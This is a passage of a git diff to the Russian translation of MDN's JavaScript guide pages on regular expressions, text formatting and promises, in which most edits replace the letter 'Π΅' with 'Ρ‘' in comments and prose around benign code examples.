-<p>Π‘Π»Π΅Π΄. ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ рСгулярного выраТСния ΠΈ использованиС <code>string.split()</code> ΠΈ <code>string.replace()</code>. Он ΠΎΡ‡ΠΈΡ‰Π°Π΅Ρ‚ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΡΡ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΈΡΡ…ΠΎΠ΄Π½ΡƒΡŽ строку, которая содСрТит ΠΈΠΌΠ΅Π½Π° Π² Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ порядкС (имя ΠΈΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ) Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, табуляциСй ΠΈ ΠΎΠ΄Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ с запятой. Π’ ΠΊΠΎΠ½Ρ†Π΅, измСняСтся порядок слСдования ΠΈΠΌΠ΅Π½ (фамилия станСт ΠΏΠ΅Ρ€Π²ΠΎΠΉ) ΠΈ сортируСтся список.</p>
+<p>Π‘Π»Π΅Π΄. ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ рСгулярного выраТСния ΠΈ использованиС <code>string.split()</code> ΠΈ <code>string.replace()</code>. Он ΠΎΡ‡ΠΈΡ‰Π°Π΅Ρ‚ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΡΡ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΈΡΡ…ΠΎΠ΄Π½ΡƒΡŽ строку, которая содСрТит ΠΈΠΌΠ΅Π½Π° Π² Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ порядкС (имя ΠΈΠ΄Ρ‘Ρ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ) Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, табуляциСй ΠΈ ΠΎΠ΄Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ с запятой. Π’ ΠΊΠΎΠ½Ρ†Π΅, измСняСтся порядок слСдования ΠΈΠΌΡ‘Π½ (фамилия станСт ΠΏΠ΅Ρ€Π²ΠΎΠΉ) ΠΈ сортируСтся список.</p>
<pre class="brush: js notranslate">// The name string contains multiple spaces and tabs,
// and may have multiple spaces between first and last names.
@@ -621,11 +621,11 @@ console.log(output.join("\n"));
<h3 id="ИспользованиС_спСцсимволов_для_ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ_Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ…_Π΄Π°Π½Π½Ρ‹Ρ…">ИспользованиС спСцсимволов для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…</h3>
-<p>Π’ слСд. ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, оТидаСтся Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Π²Π΅Π΄Π΅Ρ‚ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹ΠΉ Π½ΠΎΠΌΠ΅Ρ€ ΠΈ трСбуСтся ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ символов Π½Π°Π±Ρ€Π°Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΌΠ΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ "Check", скрипт ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ Π½ΠΎΠΌΠ΅Ρ€Π°. Если Π½ΠΎΠΌΠ΅Ρ€ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ (совпадаСт с символами ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π² рСгулярном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ), Ρ‚ΠΎ скрипт ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ сообщСниС благодарности для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€Π΄ΠΈΡ‚ Π½ΠΎΠΌΠ΅Ρ€. Если Π½Π΅Ρ‚, Ρ‚ΠΎ скрипт ΠΏΡ€ΠΎΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ‡Ρ‚ΠΎ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹ΠΉ Π½ΠΎΠΌΠ΅Ρ€ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ.</p>
+<p>Π’ слСд. ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, оТидаСтся Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Π²Π΅Π΄Ρ‘Ρ‚ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹ΠΉ Π½ΠΎΠΌΠ΅Ρ€ ΠΈ трСбуСтся ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ символов Π½Π°Π±Ρ€Π°Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΌΡ‘Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ "Check", скрипт ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ Π½ΠΎΠΌΠ΅Ρ€Π°. Если Π½ΠΎΠΌΠ΅Ρ€ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ (совпадаСт с символами ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π² рСгулярном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ), Ρ‚ΠΎ скрипт ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ сообщСниС благодарности для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€Π΄ΠΈΡ‚ Π½ΠΎΠΌΠ΅Ρ€. Если Π½Π΅Ρ‚, Ρ‚ΠΎ скрипт ΠΏΡ€ΠΎΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ‡Ρ‚ΠΎ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹ΠΉ Π½ΠΎΠΌΠ΅Ρ€ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ.</p>
<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ…Β ΡΠΊΠΎΠ±ΠΎΠΊΒ <code>(?:, рСгуляноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡ‰Π΅Ρ‚ Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹Β \d{3} Π˜Π›Π˜Β |</code>Β Β ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ скобку <code>\(, Π·Π°Ρ‚Π΅ΠΌ Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹ \d{3}</code>,Β Π·Π°Ρ‚Π΅ΠΌ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ скобку <code>\),Β </code>(Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π°Ρ Π½Π΅Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π°Ρ скобка <code>)</code>), Π·Π°Ρ‚Π΅ΠΌ Ρ‚ΠΈΡ€Π΅, слСш, ΠΈΠ»ΠΈ дСсятичная Ρ‚ΠΎΡ‡ΠΊΠ°, ΠΈ ΠΊΠΎΠ³Π΄Π° это Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ, Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ символ <code>([-\/\.])</code>, Β ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π·Π° Π½ΠΈΠΌ ΠΈ Π·Π°ΠΏΠΎΠΌΠ½Π΅Π½Π½Ρ‹Π΅Β Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹Β <code>\d{3}</code>, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ соотвСтствиС Ρ‚ΠΈΡ€Π΅, слСша ΠΈΠ»ΠΈ дСсятичной Ρ‚ΠΎΡ‡ΠΊΠΈΒ <code>\1</code>,Β ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅Β Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Β Ρ†ΠΈΡ„Ρ€Ρ‹Β <code>\d{4}.</code></p>
-<p>РСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡ‰Π΅Ρ‚ сначала 0 ΠΈΠ»ΠΈ ΠΎΠ΄Π½Ρƒ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ скобку <code>\(?</code>, <code>Π·Π°Ρ‚Π΅ΠΌ Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹ \d{3}</code>, Π·Π°Ρ‚Π΅ΠΌ 0 ΠΈΠ»ΠΈ ΠΎΠ΄Π½Ρƒ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ скобку <code>\)?</code>, ΠΏΠΎΡ‚ΠΎΠΌ ΠΎΠ΄Π½ΠΎ Ρ‚ΠΈΡ€Π΅, слСш ΠΈΠ»ΠΈ Ρ‚ΠΎΡ‡ΠΊΠ° ΠΈ ΠΊΠΎΠ³Π΄Π° Π½Π°ΠΉΠ΄Π΅Ρ‚ это, Π·Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ символ<code>([-\/\.])</code>, слСд. Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹<code> \d{3}</code>, followed by the remembered match of a dash, forward slash, or decimal point <code>\1</code>, followed by four digits <code>\d{4}</code>.</p>
+<p>РСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡ‰Π΅Ρ‚ сначала 0 ΠΈΠ»ΠΈ ΠΎΠ΄Π½Ρƒ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ скобку <code>\(?</code>, <code>Π·Π°Ρ‚Π΅ΠΌ Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹ \d{3}</code>, Π·Π°Ρ‚Π΅ΠΌ 0 ΠΈΠ»ΠΈ ΠΎΠ΄Π½Ρƒ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ скобку <code>\)?</code>, ΠΏΠΎΡ‚ΠΎΠΌ ΠΎΠ΄Π½ΠΎ Ρ‚ΠΈΡ€Π΅, слСш ΠΈΠ»ΠΈ Ρ‚ΠΎΡ‡ΠΊΠ° ΠΈ ΠΊΠΎΠ³Π΄Π° Π½Π°ΠΉΠ΄Ρ‘Ρ‚ это, Π·Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ символ<code>([-\/\.])</code>, слСд. Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹<code> \d{3}</code>, followed by the remembered match of a dash, forward slash, or decimal point <code>\1</code>, followed by four digits <code>\d{4}</code>.</p>
<p>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ "Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ" активируСтся, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€Π΄ΠΈΡ‚ Π²Π²ΠΎΠ΄ значСния рСгулярного выраТСния, Π½Π°ΠΆΠ°Π²Β ΠΊΠ»Π°Π²ΠΈΡˆΡƒ "Enter".Β </p>
diff --git a/files/ru/web/javascript/guide/text_formatting/index.html b/files/ru/web/javascript/guide/text_formatting/index.html
index 3539b94652..8d7ce164b9 100644
--- a/files/ru/web/javascript/guide/text_formatting/index.html
+++ b/files/ru/web/javascript/guide/text_formatting/index.html
@@ -67,7 +67,7 @@ console.log(str);
<pre class="brush: js">var s = new String("foo"); // Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°
console.log(s); // ΠžΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡΡ: { '0': 'f', '1': 'o', '2': 'o'}
-typeof s; // Π’Π΅Ρ€Π½Π΅Ρ‚ 'object'
+typeof s; // Π’Π΅Ρ€Π½Ρ‘Ρ‚ 'object'
</pre>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ любой ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° класса <code>String</code> Π½Π° строковом Π»ΠΈΡ‚Π΅Ρ€Π°Π»Π΅ - JavaScript сам ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ строковый Π»ΠΈΡ‚Π΅Ρ€Π°Π» Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>String</code>, Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠΈΡ‚ этот Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Π‘ΠΎ строковыми Π»ΠΈΡ‚Π΅Ρ€Π°Π»Π°ΠΌΠΈ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ <code>String.length</code> свойство.</p>
@@ -76,15 +76,15 @@ typeof s; // Π’Π΅Ρ€Π½Π΅Ρ‚ 'object'
<pre class="brush: js">var s1 = "2 + 2"; // Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ строкового Π»ΠΈΡ‚Π΅Ρ€Π°Π»Π°
var s2 = new String("2 + 2"); // Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ String ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°
-eval(s1); // Π’Π΅Ρ€Π½Π΅Ρ‚ 4
-eval(s2); // Π’Π΅Ρ€Π½Π΅Ρ‚ строку "2 + 2"</pre>
+eval(s1); // Π’Π΅Ρ€Π½Ρ‘Ρ‚ 4
+eval(s2); // Π’Π΅Ρ€Π½Ρ‘Ρ‚ строку "2 + 2"</pre>
<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>String</code> ΠΈΠΌΠ΅Π΅Ρ‚ свойство <code>length</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ количСство символов Π² строкС. НапримСр, Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΊΠΎΠ΄Π΅ x ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 13 ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ "Hello, World!" содСрТит 13 символов, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… прСдставлСн ΠΎΠ΄Π½ΠΈΠΌ ΠΊΠΎΠ΄ΠΎΠΌ UTF-16. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΊΠΎΠ΄Ρƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Ρ… скобок. Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ символы строки, Ρ‚.ΠΊ. строки это массива-ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ нСизмСняСмыС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹:</p>
<pre class="brush: js">var mystring = "Hello, World!";
var x = mystring.length;
-mystring[0] = 'L'; // НичСго Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Ρ‚.ΠΊ. строки нСизмСняСмыС
-mystring[0]; // Π’Π΅Ρ€Π½Π΅Ρ‚: "H"
+mystring[0] = 'L'; // НичСго Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Ρ‚.ΠΊ. строки нСизмСняСмыС
+mystring[0]; // Π’Π΅Ρ€Π½Ρ‘Ρ‚: "H"
</pre>
<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>String</code> ΠΈΠΌΠ΅Π΅Ρ‚ мноТСство ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², Π² Ρ‚ΠΎΠΌ числС ΠΈ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΈΡΡ…ΠΎΠ΄Π½ΡƒΡŽ строку (ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ <code>substring</code>, <code>toUpperCase</code> ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅).</p>
@@ -120,7 +120,7 @@ mystring[0]; // Π’Π΅Ρ€Π½Π΅Ρ‚: "H"
</tr>
<tr>
<td>{{jsxref("String.fromCharCode", "fromCharCode")}}, {{jsxref("String.fromCodePoint", "fromCodePoint")}}</td>
- <td>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ строку ΠΈΠ· ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Unicode Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. Π­Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ класса String, Π° Π½Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ экзСмпляра этого класса.</td>
+ <td>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ строку ΠΈΠ· ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Unicode Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. Π­Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ класса String, Π° Π½Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ экзСмпляра этого класса.</td>
</tr>
<tr>
<td>{{jsxref("String.split", "split")}}</td>
@@ -209,7 +209,7 @@ console.log(`Fifteen is ${a + b} and\nnot ${2 * a + b}.`);
<h2 id="Π˜Π½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡ">Π˜Π½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡ</h2>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("Intl")}} прСдставляСт собой пространство ΠΈΠΌΠ΅Π½ для ECMAScript API ΠΏΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ обСспСчиваСт Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΊ языку сравнСниС строк, Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ чисСл, Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ Π΄Π°Ρ‚Ρ‹. ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Ρ‹ для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} ΠΈ {{jsxref("DateTimeFormat")}} ΡΠ²Π»ΡΡŽΡ‚ΡΡ свойствами <code>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Intl</code>.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("Intl")}} прСдставляСт собой пространство ΠΈΠΌΡ‘Π½ для ECMAScript API ΠΏΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ обСспСчиваСт Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΊ языку сравнСниС строк, Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ чисСл, Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ Π΄Π°Ρ‚Ρ‹. ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Ρ‹ для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} ΠΈ {{jsxref("DateTimeFormat")}} ΡΠ²Π»ΡΡŽΡ‚ΡΡ свойствами <code>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Intl</code>.</p>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ_ΠΈ_Π΄Π°Ρ‚Ρ‹">Π€ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ Π΄Π°Ρ‚Ρ‹</h3>
@@ -247,7 +247,7 @@ console.log(hanDecimalRMBInChina.format(1314.25)); // οΏ₯ δΈ€,δΈ‰δΈ€ε››.δΊŒδΊ”
<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("Collator")}} ΠΏΠΎΠ»Π΅Π·Π΅Π½ для сравнСния ΠΈ сортировки строк.</p>
-<p>НапримСр, Π² Π“Π΅Ρ€ΠΌΠ°Π½ΠΈΠΈ Π΅ΡΡ‚ΡŒ Π΄Π²Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… порядка сортировки строк Π² зависимости ΠΎΡ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°: тСлСфонная ΠΊΠ½ΠΈΠ³Π° ΠΈΠ»ΠΈ ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ.<em> </em>Π‘ΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²ΠΊΠ° ΠΏΠΎ Ρ‚ΠΈΠΏΡƒ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π΅Ρ‚ Π·Π²ΡƒΠΊΠΈ.</p>
+<p>НапримСр, Π² Π“Π΅Ρ€ΠΌΠ°Π½ΠΈΠΈ Π΅ΡΡ‚ΡŒ Π΄Π²Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… порядка сортировки строк Π² зависимости ΠΎΡ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°: тСлСфонная ΠΊΠ½ΠΈΠ³Π° ΠΈΠ»ΠΈ ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ.<em> </em>Π‘ΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²ΠΊΠ° ΠΏΠΎ Ρ‚ΠΈΠΏΡƒ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π΅Ρ‚ Π·Π²ΡƒΠΊΠΈ.</p>
<pre class="brush: js">var names = ["Hochberg", "HΓΆnigswald", "Holzman"];
diff --git a/files/ru/web/javascript/guide/using_promises/index.html b/files/ru/web/javascript/guide/using_promises/index.html
index fea85730ac..19183e72e9 100644
--- a/files/ru/web/javascript/guide/using_promises/index.html
+++ b/files/ru/web/javascript/guide/using_promises/index.html
@@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Guide/Ispolzovanie_promisov
<p>{{jsSidebar("Руководство ΠΏΠΎ JavaScript")}}{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Iterators_and_Generators")}}</p>
</div>
